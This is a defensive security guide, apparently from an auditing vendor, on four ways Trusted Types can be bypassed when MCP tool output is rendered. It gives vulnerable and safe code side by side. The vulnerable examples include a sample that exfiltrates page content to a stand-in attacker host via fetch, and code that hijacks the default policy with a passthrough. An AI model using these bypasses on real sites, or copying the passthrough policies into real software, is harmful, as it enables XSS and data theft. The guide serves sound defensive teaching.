Security Guide
MCP server Trusted Types bypass security — policy.createHTML() with attacker content, createScript() eval bypass, default policy theft, MCP DOM injection
Trusted Types is a browser security mechanism that prevents DOM XSS by requiring all assignments to dangerous sinks (innerHTML, outerHTML, document.write(), eval(), setTimeout(string)) to pass through a named policy object. The policy's createHTML() method is supposed to sanitize the string and return a TrustedHTML object — one that the browser accepts at the DOM sink without throwing a violation. The fundamental problem in MCP contexts is that Trusted Types enforces where strings go, not whether the content is safe. If the policy calls createHTML(toolOutput) without sanitizing toolOutput, it wraps an attacker-controlled XSS payload in a trusted type and delivers it to the DOM. The enforcement gate is bypassed because the type is trusted — but the content is not. This page covers four Trusted Types bypass patterns specific to MCP tool output rendering.
createHTML() with unsanitized MCP tool output
Trusted Types enforcement requires that innerHTML assignments receive a TrustedHTML object rather than a plain string. This stops naive string-to-DOM injection. It does not stop injection if the policy's createHTML() function does not sanitize its input before wrapping it. An MCP tool that returns HTML-formatted content — markdown rendered to HTML, a search results snippet, a formatted tool response — can contain XSS payloads that pass through a policy that trusts the tool's output.
// Trusted Types bypass via createHTML() with unsanitized tool output
// Trusted Types policy is enforced: only TrustedHTML allowed at innerHTML
const policy = trustedTypes.createPolicy('mcp-renderer', {
createHTML: (input) => {
// Dangerous: no sanitization — this policy trusts everything the tool returns
return input;
// The Trusted Types enforcement gate is satisfied:
// the type is TrustedHTML. But the content is attacker-controlled.
}
});
// MCP tool returns attacker-controlled HTML response
const toolResult = await callMcpTool('render-content', { url: attackerURL });
// toolResult.html = '
'
// Application renders with Trusted Types — passes enforcement because type is TrustedHTML
outputDiv.innerHTML = policy.createHTML(toolResult.html);
// XSS executes: the onerror handler fires, exfiltrating cookies
// Safe: sanitize inside createHTML() before wrapping
const safePolicy = trustedTypes.createPolicy('mcp-renderer-safe', {
createHTML: (input) => {
// Use DOMPurify or the Sanitizer API before wrapping
return DOMPurify.sanitize(input, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'code', 'pre', 'ul', 'ol', 'li'],
ALLOWED_ATTR: [] // no attributes — eliminates event handler injection
});
// Now createHTML() returns sanitized content as TrustedHTML — safe
}
});
Trusted Types is not a sanitizer. It is an enforcement gate that ensures strings pass through a named policy before reaching DOM sinks. The sanitization must happen inside the policy's createHTML() implementation. Trusted Types with an unsanitizing policy is strictly worse than no Trusted Types at all — it creates the appearance of safety while providing none.
createScript() — eval() under a Trusted Types label
The Trusted Types policy can implement a createScript() method, which is called when Trusted Types enforcement is active and JavaScript code is passed to eval(), the Function() constructor, setTimeout(string), setInterval(string), or script.src assignments (script URL). createScript() is effectively an eval() gateway: it accepts a string and returns a TrustedScript object. If an MCP tool can cause its output to be passed to createScript() — either directly or via a template that evaluates tool-provided expressions — it achieves arbitrary code execution under the Trusted Types policy label.
// createScript() bypass — tool output passed to eval() via Trusted Types
// Policy that accepts any script content (dangerously permissive):
const scriptPolicy = trustedTypes.createPolicy('script-runner', {
createScript: (code) => code // wraps any string as TrustedScript — no validation
});
// MCP tool that evaluates user-provided expressions
async function evaluateMcpExpression(toolInput) {
// Tool returns a JavaScript expression for client-side evaluation
const expr = toolInput.expression;
// E.g., toolInput.expression = "fetch('https://exfil.attacker.com/'+btoa(document.body.innerHTML))"
// The Trusted Types policy wraps the expression — bypasses eval() enforcement
const trusted = scriptPolicy.createScript(expr);
const result = eval(trusted); // TrustedScript — enforcement satisfied, code executes
return result;
}
// Safe: never evaluate MCP tool output as JavaScript
// If expression evaluation is legitimately required, use a sandboxed interpreter
// (e.g., a Web Worker with a restricted Math/JSON-only evaluator) rather than eval()
// The only correct createScript() policy is one that validates the script against
// an allowlist of known-safe expressions — which is nearly impossible for arbitrary input
Default policy theft — overwriting the sanitizer before application install
Trusted Types supports a special policy named 'default' that is invoked automatically whenever a plain string reaches a DOM sink without going through any named policy. The first script to call trustedTypes.createPolicy('default', ...) claims the default policy slot. If an MCP tool's JavaScript executes before the application code installs its default policy, the tool can claim the default policy slot with a passthrough implementation — one that wraps any string as TrustedHTML without sanitizing it. All subsequent plain-string DOM sink assignments on the page use the attacker's policy.
// Default policy theft — race condition on first createPolicy('default') call
// Attacker's MCP tool code (injected early in page load, e.g., via a third-party widget):
if (!trustedTypes.getAttributeType) {
// Older check — not reliable, but real code uses various heuristics
}
// Claim the default policy slot before the application does:
try {
trustedTypes.createPolicy('default', {
createHTML: (s) => s, // no sanitization — passthrough
createScript: (s) => s, // eval() passthrough
createScriptURL: (s) => s // script URL passthrough
});
// Success: attacker now controls the default policy
// All subsequent plain-string DOM assignments use this passthrough policy
} catch (e) {
// Policy already claimed — application installed it first, theft failed
}
// Application's legitimate default policy install (too late if tool ran first):
// trustedTypes.createPolicy('default', { createHTML: DOMPurify.sanitize });
// → throws: "Policy 'default' already exists"
// Defense: install the default policy at the very first script that executes
// Use a synchronous inline script in the document head (before any external scripts):
// <script>
// trustedTypes.createPolicy('default', { createHTML: s => DOMPurify.sanitize(s) });
// </script>
// This claims the slot before any MCP tool JavaScript can load
MCP tool code executes after the application's initial setup. Tools are typically loaded asynchronously — after the document head scripts, after DOMContentLoaded, or on user interaction. The default policy theft window is only open if the application has not yet installed a default policy. Install the default Trusted Types policy in a synchronous inline <script> at the top of <head> — before any external scripts load — to close this window.
MCP tools that bypass Trusted Types by writing to DOM sinks directly
Trusted Types enforcement must be enabled via the require-trusted-types-for 'script' CSP directive. MCP tools that execute JavaScript in the browser context and write to DOM sinks (innerHTML, outerHTML, insertAdjacentHTML(), document.write()) without going through a Trusted Types policy throw a TypeError when enforcement is active. But not all MCP clients enable Trusted Types enforcement. An MCP tool that writes tool output to innerHTML in a client without Trusted Types is a straightforward DOM XSS vulnerability. The tool's source code should never write raw strings to DOM sinks — regardless of whether the client enforces Trusted Types.
// MCP tool writing to DOM sinks — requires Trusted Types audit in all contexts
// Dangerous patterns that violate Trusted Types (and cause XSS without it):
container.innerHTML = toolResult.html;
container.outerHTML = `<div>${toolResult.content}</div>`;
document.write(toolResult.fragment);
element.insertAdjacentHTML('beforeend', toolResult.snippet);
new Function(toolResult.code)();
setTimeout(toolResult.callback, 0); // string-form setTimeout
script.src = toolResult.scriptUrl;
// Each of these requires either:
// (a) A Trusted Types policy to wrap the value — and the policy must sanitize it
// (b) A safe alternative that avoids DOM sinks:
// Instead of innerHTML:
container.textContent = toolResult.text; // never interprets as HTML
// Or if HTML is needed, use the Sanitizer API:
container.setHTML(toolResult.html); // built-in sanitization, no TT policy needed
// Or use a sanitizing Trusted Types policy:
container.innerHTML = safePolicy.createHTML(DOMPurify.sanitize(toolResult.html));
| Bypass pattern | Mechanism | Defense |
|---|---|---|
| createHTML() with unsanitized tool output | Policy wraps attacker content as TrustedHTML — type is trusted, content is not | Always sanitize inside createHTML() with DOMPurify or Sanitizer API before wrapping |
| createScript() with tool-provided expression | eval() via Trusted Types policy — arbitrary code execution | Never evaluate MCP tool output as JavaScript; use sandboxed evaluator |
| Default policy theft | Early-running tool code claims 'default' policy slot with passthrough | Install default policy in synchronous inline script at top of <head> |
| Direct DOM sink writes | innerHTML/outerHTML/document.write() with tool output — XSS or Trusted Types violation | Never use DOM sinks with tool output; use textContent or setHTML() or sanitizing policy |
SkillAudit findings for Trusted Types misuse
createHTML() implementation returns the input string directly (passthrough) or applies no HTML-aware sanitization before returning. Attacker-controlled MCP tool output passed to this policy results in DOM XSS despite Trusted Types enforcement. Grade impact: −30.
createScript() and subsequently to eval() or the Function() constructor. This is arbitrary JavaScript execution under the authority of a Trusted Types policy. Grade impact: −32.
Audit your MCP server for Trusted Types bypass
SkillAudit checks for passthrough createHTML() policies, createScript() misuse, default policy theft windows, and direct DOM sink writes with tool output. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →